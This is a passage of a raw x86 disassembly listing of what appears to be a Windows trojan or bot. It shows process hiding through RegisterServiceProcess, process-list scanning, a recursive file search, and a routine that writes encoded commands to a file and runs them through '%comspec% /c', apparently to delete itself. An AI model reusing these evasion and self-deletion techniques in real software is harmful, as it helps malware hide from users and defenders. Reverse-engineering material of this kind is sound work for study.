		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CF40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CFC0:				; CODE XREF: ___:loc_40228Ej
		push	0FFFFFFFFh
		push	offset loc_43A086
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40D040	proc near		; CODE XREF: sub_40227Aj

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_511AE4
		push	esi
		push	offset aS_1	; "%s\\*"
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 28A0000h
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D107


loc_40D090:				; CODE XREF: sub_40D040+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D0F7
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40D0AA
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D0F7
		cmp	al, 2Eh
		jz	short loc_40D0F7


loc_40D0AA:				; CODE XREF: sub_40D040+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_444684
		push	104h
		push	ecx
		call	edi	; _snprintf
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_40227A
		add	esp, 2Ch
		mov	ebp, eax


loc_40D0F7:				; CODE XREF: sub_40D040+55j
					; sub_40D040+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		nop
		call	near ptr 2890000h
		test	eax, eax
		jnz	short loc_40D090


loc_40D107:				; CODE XREF: sub_40D040+4Ej
		push	ebx
		nop
		call	near ptr 2880291h
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_444684
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		call	near ptr 28A0000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D19B


loc_40D148:				; CODE XREF: sub_40D040+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi	; _snprintf
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_40152D
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		nop
		call	near ptr 2890000h
		test	eax, eax
		jnz	short loc_40D148


loc_40D19B:				; CODE XREF: sub_40D040+106j
		push	ebx
		nop
		call	near ptr 2880291h
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40D040	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D210	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40D210	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D3C0:				; CODE XREF: ___:004013CFj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		call	near ptr 28A1D26h
		nop
		push	eax
		call	near ptr 28A1106h
		nop
		mov	eax, dword_449070
		test	eax, eax
		jz	loc_40D4E3
		mov	ecx, dword_44906C
		test	ecx, ecx
		jz	loc_40D4E3
		mov	ecx, dword_448F38
		test	ecx, ecx
		jz	loc_40D4E3
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_449068, eax
		jz	loc_40D4E3
		push	ebp
		push	offset dword_448F40
		push	eax
		xor	ebp, ebp
		mov	dword_448F40, 128h
		call	dword_44906C	; Process32First
		test	eax, eax
		jz	loc_40D4CC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_511AE0
		push	edi


loc_40D44D:				; CODE XREF: ___:0040D4C7j
		mov	edi, offset dword_448F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_448F64
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_448F64
		add	edx, ecx
		push	edx
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4B3
		mov	edi, offset dword_448F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_448F64
		mov	ecx, ebx
		call	sub_40168B
		push	eax
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D4B4


loc_40D4B3:				; CODE XREF: ___:0040D48Bj
		inc	ebp


loc_40D4B4:				; CODE XREF: ___:0040D4B1j
		mov	eax, dword_449068
		push	offset dword_448F40
		push	eax
		call	dword_448F38	; Process32Next
		test	eax, eax
		jnz	short loc_40D44D
		pop	edi
		pop	esi
		pop	ebx


loc_40D4CC:				; CODE XREF: ___:0040D437j
		mov	ecx, dword_449068
		push	ecx
		nop
		call	near ptr 2860000h
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D4E3:				; CODE XREF: ___:0040D3E6j
					; ___:0040D3F4j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D540:				; CODE XREF: ___:00401FAFj
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		nop
		call	near ptr 28B0A53h
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_5118F0
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D606
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		call	near ptr 28B05C0h
		nop
		mov	ebx, dword_5118E0
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D606
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		call	near ptr 28B0000h
		nop
		push	esi
		call	ebx


loc_40D606:				; CODE XREF: ___:0040D5A9j
					; ___:0040D5EBj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D660	proc near		; CODE XREF: sub_401B6Dj

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D660
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C71
		push	eax
		nop
		call	near ptr 2810000h
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015E1
		lea	ecx, [esp+1A8h+var_184]
		call	sub_40142E
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C71
		push	eax
		push	0
		nop
		call	near ptr 28A1D26h
		push	eax
		call	near ptr 28A1106h
		nop
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		nop
		call	near ptr 2800886h
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D751
		mov	edi, dword_511918
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_449074, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_449070, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_44906C, eax
		call	edi
		mov	dword_448F38, eax
		mov	eax, dword_449074
		test	eax, eax
		jz	short loc_40D751
		push	ebx
		push	0
		call	eax


loc_40D751:				; CODE XREF: sub_40D660+A7j
					; sub_40D660+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402135
		test	eax, eax
		jnz	short loc_40D788
		mov	al, byte_44915F
		test	al, al
		jz	short loc_40D788
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D788:				; CODE XREF: sub_40D660+10Dj
					; sub_40D660+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019C4
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_40D660	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h
		dd 8D50FFFFh, 0A8248Ch,	10680000h, 5100444Bh, 0D457E890h
		dd 3D8B001Eh, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 0E8000007h
		dd 24428E4h, 24848D90h,	9Ch, 8D50006Ah,	0E830244Ch, 0FFFF3CA3h
		dd 85D6FF50h, 0A0D074C0h, 4497BBh, 74C0845Dh, 0D8358B39h
		dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B08h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3DCAh,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 0E8900000h,	2402A48h, 874C085h, 0E890006Ah
		dd 7782C3FEh, 24244C8Dh, 0A42484C6h, 1,	0FF3795E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3781E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DBF0	proc near		; CODE XREF: sub_401195j
		mov	al, byte_449161
		test	al, al
		jz	short loc_40DC04
		push	offset word_449162
		nop
		call	near ptr 2800C66h


loc_40DC04:				; CODE XREF: sub_40DBF0+7j
		mov	al, 1
		retn
sub_40DBF0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DC20	proc near		; CODE XREF: sub_401E79j

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DC20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		call	near ptr 28A1D26h
		nop
		push	eax
		nop
		call	near ptr 28A1106h
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		nop
		call	near ptr 27F0000h
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017EE
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_444684
		push	ecx
		call	sub_5FADE9
		nop
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		nop
		call	near ptr 2880000h
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E178
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_40142E
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019C4
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+720h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+728h+var_4], 2
		call	sub_4019C4
		add	esp, 48h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019C4
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+72Ch+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+734h+var_4], 4
		call	sub_4019C4
		add	esp, 54h
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019C4
		mov	[esp+6FCh+var_6C8], eax
		mov	byte ptr [esp+6FCh+var_4], 6
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+724h+var_5D4]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 4Ch
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019C4
		mov	[esp+710h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+744h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+74Ch+var_4], 8
		call	sub_4019C4
		add	esp, 6Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		push	18h
		push	5
		push	4Eh
		push	14h
		mov	byte ptr [esp+744h+var_4], 9
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019C4
		mov	[esp+75Ch+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+774h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+77Ch+var_4], 0Ah
		call	sub_4019C4
		add	esp, 9Ch
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019C4
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017EE
		push	eax
		lea	edx, [esp+70Ch+var_6AC]
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		push	edx
		call	sub_40102D
		add	esp, 34h
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		lea	ecx, [esp+6E0h+var_64C]
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017EE
		push	eax
		push	esi
		nop
		call	near ptr 2800000h
		push	esi
		nop
		call	near ptr 2860000h
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		nop
		call	near ptr 28A1D26h
		push	eax
		call	near ptr 28A1106h
		nop
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		call	sub_5FADE9
		nop
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		call	near ptr 2820000h
		nop
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [esp+700h+var_110]
		push	eax
		push	0
		nop
		call	near ptr 28104BCh
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E178:				; CODE XREF: sub_40DC20+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DC20	endp

; ---------------------------------------------------------------------------
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E2F0	proc near		; CODE XREF: sub_401730j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
